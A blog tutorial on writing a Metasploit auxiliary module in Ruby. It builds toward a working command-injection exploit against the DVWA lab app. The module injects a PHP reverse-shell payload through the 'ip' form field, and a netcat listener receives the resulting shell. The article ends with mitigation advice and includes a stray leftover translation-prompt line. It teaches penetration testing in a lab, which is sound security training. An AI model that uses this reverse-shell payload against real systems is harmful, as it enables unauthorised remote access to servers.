Step-by-Step guide to writing a Metasploit Script

Higor Diego
10 min readNov 21, 2023

--

Before we delve into the intriguing universe of Metasploit, it is crucial to emphasize the need to use these tools in an ethical and legal manner. Metasploit, with all its powerful functionalities, should be employed only with explicit permission from the owners of the systems under test.

This article is intended for ethical security professionals, researchers, and enthusiasts seeking to understand and strengthen digital security. Any improper use of the information provided here for malicious activities is not only illegal but also harmful to the integrity of systems and online trust.

The responsibility for the ethical use of these tools lies entirely with the individual. This text aims to promote understanding and responsible knowledge in the field of digital security. Together, let’s explore Metasploit ethically, contributing to a safer and protected digital environment.

Metasploit

Think of Metasploit as a cyber super detective used by security experts to identify and fix vulnerabilities in computer systems before malicious hackers can exploit them. It automates the search for weaknesses, acting as a digital hero in the protection of our computers. However, it is essential to use this tool ethically, obtaining permission before initiating any “investigation.”

Metasploit is a powerful penetration testing framework, providing information about system vulnerabilities and assisting security professionals in identifying and correcting these flaws before they become targets for attackers. Developed to automate penetration testing, Metasploit is used by security experts and ethical hackers, offering a variety of tools for discovering, exploiting, and validating security vulnerabilities.

Msfconsole

Msfconsole is the central command-line interface in Metasploit, providing an interactive environment for users to explore its functionalities. When starting msfconsole, users enter an environment where they can load and configure modules, choose specific exploits, select payloads, and launch attacks against target systems to assess security. This tool is essential for security professionals who want to test the robustness of systems and networks, always with proper permission.

Exploring Metasploit is embarking on a fascinating journey of discovery and digital protection. Always remember the importance of acting ethically and legally when using these tools, contributing to a safer and protected digital environment.

Meterpreter

Meterpreter is an essential component in the Metasploit framework, designed to provide a range of post-exploitation features on a compromised system. In simpler terms, you can think of Meterpreter as a kind of “digital bridge” between the attacker and the compromised system, allowing more advanced interaction and control over the compromised machine.

With Meterpreter, an attacker can execute a variety of commands on the compromised system, such as copying, deleting, uploading or downloading files, capturing screens, activating the webcam, manipulating processes, and much more. It offers a rich interface for exploring and controlling a compromised system more flexibly.

Creating the Script

We will create a basic script in Metasploit using Ruby to conduct a reverse shell command injection attack. The DVWA project will be employed to deepen our understanding of the process in its entirety.

Before running our script, you need to have the following items installed on your local machine:

Make sure you have these tools installed before proceeding with the development and execution of the script.

Let’s create a folder named “article” inside /usr/share/metasploit-framework/modules/auxiliary.

The text provided is a continuation, and you can continue translating or ask for assistance with specific sections if needed.

sudo mkdir /usr/share/metasploit-framework/modules/auxiliary/article

After its creation, we will create a file called command_injection.rb, following the instructions below:

cd /usr/share/metasploit-framework/modules/auxiliary/article && touch command_injection.rb

We will create a simple code that performs an external HTTP or HTTPS request to understand the functioning structure of a script within msfconsole.

Here is the code:

class MetasploitModule < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Creating a simple script that will make an external http request',
'Description' => %q{
The purpose of this script is to execute a simple http request.
},
'Author' => [ 'Higor Diego' ],
'License' => BSD_LICENSE))
register_options(
[
OptString.new('RHOST', [true, 'URL request for the site, for example: google.com']),
OptString.new('RPATH', [true, 'Path for the URL request, for example: /login']),
OptString.new('RMETHOD', [true, "PUT or DELETE", "GET"]),
]
)
deregister_options('RHOSTS')
deregister_options('VHOST')
end
def run
begin
path = datastore['RPATH']
method = datastore['RMETHOD']
host = datastore['RHOST']
res = send_request_cgi(
{
'uri' => "#{normalize_uri(path)}",
'method' => method,
},
20
)

print_good(" Send request #{host}#{normalize_uri(path)}" )
print_good(" Response status code: #{res.code}")
rescue ::Exception => e
return nil
end
end
end

This is a Ruby script that uses the Metasploit framework to create an auxiliary module. The purpose of this script is to make a simple HTTP request to a specified URL using the HTTP methods PUT, DELETE, or GET.

Let’s analyze the code in parts:

Metasploit Module Class:

class MetasploitModule < Msf::Auxiliary

The script defines a class named MetasploitModule that inherits from the Msf::Auxiliary class, indicating that it is an auxiliary module in the context of Metasploit.

Initialization:

def initialize(info = {})
super(update_info(info,
'Name' => 'Creating a simple script that will make an external http request',
'Description'=> %q{
The purpose of this script is to execute a simple http request.
},
'Author' => [ 'Higor Diego' ],
'License' => BSD_LICENSE))

The initialize method is called when an instance of the class is created. It defines information about the module, such as name, description, author, and license.

Module Options:

register_options(
[
OptString.new('RHOST', [true, 'URL request for the site, for example: google.com']),
OptString.new('RPATH', [true, 'Path for the URL request, for example: /login']),
OptString.new('RMETHOD', [true, "PUT or DELETE", "GET"]),
]
)
deregister_options('RHOSTS')
deregister_options('VHOST')

The register_options method is used to define the options that can be configured for the module. In this case, the options include the request target (RHOST), the URL path (RPATH), and the HTTP method to be used (RMETHOD).

Additionally, the ‘RHOSTS’ and ‘VHOST’ options are deregistered, indicating that they are not relevant for this module.

Run Method:

def run
begin
path = datastore['RPATH']
method = datastore['RMETHOD']
host = datastore['RHOST']
res = send_request_cgi(
{
'uri' => "#{normalize_uri(path)}",
'method' => method,
},
20
)
print_good(" Send request #{host}#{normalize_uri(path)}" )
print_good(" Response status code: #{res.code}")
rescue ::Exception => e
return nil
end
end

The run method is called when the module is executed. It makes an HTTP request using the specified method and URL from the options. The result of the request is then displayed, showing the host and the response status code.

If an exception occurs during execution (for example, if the request fails), it is captured and handled.

After opening msfconsole, we will look for our script within the existing modules using the following command:

Starting msfconsole

┌──(higordiego㉿higordiego)-[~]
└─$ msfconsole -q
msf6 > search article

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/article/command_injection excellent No Creating a simple script that will make an external http request


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/article/command_injection

msf6 >

We will select our script to identify the necessary configurations as parameters for its execution.

```sh
msf6 > use auxiliary/article/command_injection
msf6 auxiliary(article/command_injection) > show options

We will select our script to identify the necessary configurations as parameters for its execution.


msf6 > use auxiliary/article/command_injection
msf6 auxiliary(article/command_injection) > show options

Module options (auxiliary/article/command_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes URL request for the site, for example: google.com
RMETHOD GET yes PUT or DELETE
RPATH yes Path for the URL request, for example: /login
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections

View the full module info with the info, or info -d command.

Inserting settings for its execution, see below:

msf6 auxiliary(article/command_injection) > set RHOST google.com
RHOST => google.com
msf6 auxiliary(article/command_injection) > set RPORT 443
RPORT => 443
msf6 auxiliary(article/command_injection) > set SSL true
SSL => true
msf6 auxiliary(article/command_injection) > set RPATH /
RPATH => /
msf6 auxiliary(article/command_injection) > show options

Module options (auxiliary/article/command_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST google.com yes URL request for the site, for example: google.com
RMETHOD GET yes PUT or DELETE
RPATH / yes Path for the URL request, for example: /login
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections

View the full module info with the info, or info -d command.

Executing the exploit, see below:


msf6 auxiliary(article/command_injection) > exploit

[+] Send request google.com/
[+] Response status code: 301
[*] Auxiliary module execution completed

With a few lines, we went to Google via HTTPS, and it returned a status 301, indicating its redirection.

A simple script that doesn’t do much, right?

Now, imagine that we find a command injection vulnerability via HTTP in an application, and it would be necessary to inject this command into the application to gain access to a reverse shell. In this case, we will enhance our script by making the mentioned call and opening a terminal with nc to receive this access.

For this purpose, we will make use of an application contained in a Docker environment to investigate this vulnerability, thus creating a lab environment.

Damn Vulnerable Web Application (DVWA)

DVWA, which stands for “Damn Vulnerable Web Application,” is an open-source web application designed to be intentionally vulnerable. DVWA is used for educational and cybersecurity training purposes. It provides a controlled environment in which security professionals, students, and enthusiasts can practice and enhance their skills in penetration testing and web vulnerability discovery.

Key features of DVWA:

  • Intentional Vulnerabilities: DVWA has a variety of intentionally built-in web vulnerabilities, such as SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), remote code execution (RCE), among others.
  • Adjustable Security Levels: The application allows adjusting the security level, affecting the difficulty of exploiting vulnerabilities. This is useful for users to tailor the environment to their skill level and experience.
  • Secure Training Environment: DVWA is intended to be used in a controlled environment, such as a local virtual machine or a training lab environment. It should not be deployed in a production environment as it intentionally contains vulnerabilities.
  • Easy Configuration: DVWA’s installation and configuration are relatively simple, making it accessible for beginners in the field of cybersecurity.

To run it via Docker, use the following command:

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

Exploration

Let’s access the running DVWA on port 8080 and explore a vulnerability known as command injection.

What is command injection?

Command injection is a security vulnerability that occurs when an application accepts untrusted inputs (such as user data) and uses them as part of a command that will be executed by the operating system. This can occur in systems where operating system commands can be directly embedded in a function call or in an application process.

Below is the DVWA screen in the Command injection menu:

Based on the Enter an IP Address field, we intend to inject a command for a reverse shell, aiming to access the machine through an untreated input. Below is the updated script for msfconsole.

class MetasploitModule < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Create an example of a simple http request for Metasploit',
'Description' => %q{
The intention of this module is to understand how Metasploit works and what we can develop within it.
},
'Author' => [ 'Higor Diego' ],
'License' => BSD_LICENSE))

register_options(
[
OptString.new('RHOST', [true, 'URL for the request to the site, for example: google.com']),
OptString.new('RPATH', [true, 'Path for the URL to send the request, for example: /login']),
OptString.new('RMETHOD', [true, "PUT or DELETE", "GET"]),
OptString.new('RCOOKIE', [true, "Cookie Session"])
]
)
deregister_options('RHOSTS')
deregister_options('VHOST')
end

def run
begin
path = datastore['RPATH']
method = datastore['RMETHOD']
host = datastore['RHOST']
cookie = datastore['RCOOKIE']

res = send_request_cgi(
{
'uri' => "#{normalize_uri(path)}",
'method' => method,
'cookie' => "Cookie: language=en; cookieconsent_status=dismiss; continueCode=8lwZqVyJnO4gKPNM6DA6Bh9toCVHjfD2TnaSXgULxA1b5ermaLRzpvQx3BWE; PHPSESSID=#{cookie}; security=low",
'vars_post' => {
'ip': '127.0.0.1 && php -r \'$sock=fsockopen("my_ip_here",4444);exec("bash <&3 >&3 2>&3");\'',
'Submit' => 'Submit',
},
'headers' => {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://localhost:8080/vulnerabilities/exec/',
},
'ctype' => 'application/x-www-form-urlencoded'
},
20
)

print_good(" Send request to #{host}#{normalize_uri(path)}" )
print_good(" Response status code: #{res.code}")
rescue ::Exception => e
return nil
end
end
end

After updating the code, we adjusted the necessary variables for the request submission, and their options will be configured as follows:

msf6 auxiliary(article/command_injection) > show options

Module options (auxiliary/article/command_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RCOOKIE s41u5eodfcav729jlsnsu1t5u5 yes Cookie Session
RHOST 127.0.0.1 yes URL for the request to the site, for example: google.com
RMETHOD POST yes PUT or DELETE
RPATH /vulnerabilities/exec/ yes Path for the URL to send the request, for example: /login
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections

View the full module info with the info, or info -d command.

In another terminal, we will use the following command:

┌──(higordiego㉿higordiego)-[~]
└─$ nc -lvnp 4444

When triggering the created exploit, use the following command:

msf6 auxiliary(article/command_injection) > exploit

[+] Send request to 127.0.0.1/vulnerabilities/exec/
[*] Auxiliary module execution completed

In the netcat (nc) terminal, we have the following result:

┌──(higordiego㉿higordiego)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.0.13] from (UNKNOWN) [172.17.0.3] 39752

This way, we can obtain access and operate the server through some shell commands, such as:

┌──(higordiego㉿higordiego)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.0.13] from (UNKNOWN) [172.17.0.3] 39752
ls -lah
total 20K
drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 .
drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 ..
drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 help
-rw-r--r-- 1 www-data www-data 1.8K Oct 12 2018 index.php
drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 source

Command Injection Protection

Protecting against command injection involves secure programming practices and the implementation of appropriate security measures. Here are some general guidelines that can help prevent command injection vulnerabilities:

  • Validation and Input Filtering: Strictly validate and filter all user inputs before incorporating them into system commands or database queries. Use whitelists to allow only specific characters or patterns in inputs.
  • Escape Special Characters: When incorporating user inputs into commands, use functions or methods that escape special characters so that they are treated literally, not as part of the command.
  • Use Secure Parameters: Whenever possible, use query parameters or placeholders when building SQL queries or system commands. This prevents direct interpolation of user data into commands.
  • Principle of Least Privilege: Configure processes and applications to have only the privileges necessary to perform their tasks. Avoid running commands with elevated privileges when not strictly necessary.

Conclusion

This article explored the ethical universe of Metasploit, emphasizing the importance of using its tools responsibly and legally, with explicit permission. We covered Metasploit as a valuable tool for security professionals, illustrating its ethical application through the development of a specific module to exploit vulnerabilities in the Damn Vulnerable Web Application (DVWA).

Support me :

https://www.buymeacoffee.com/higordiego

Referencies

https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
https://github.com/digininja/DVWA

--

--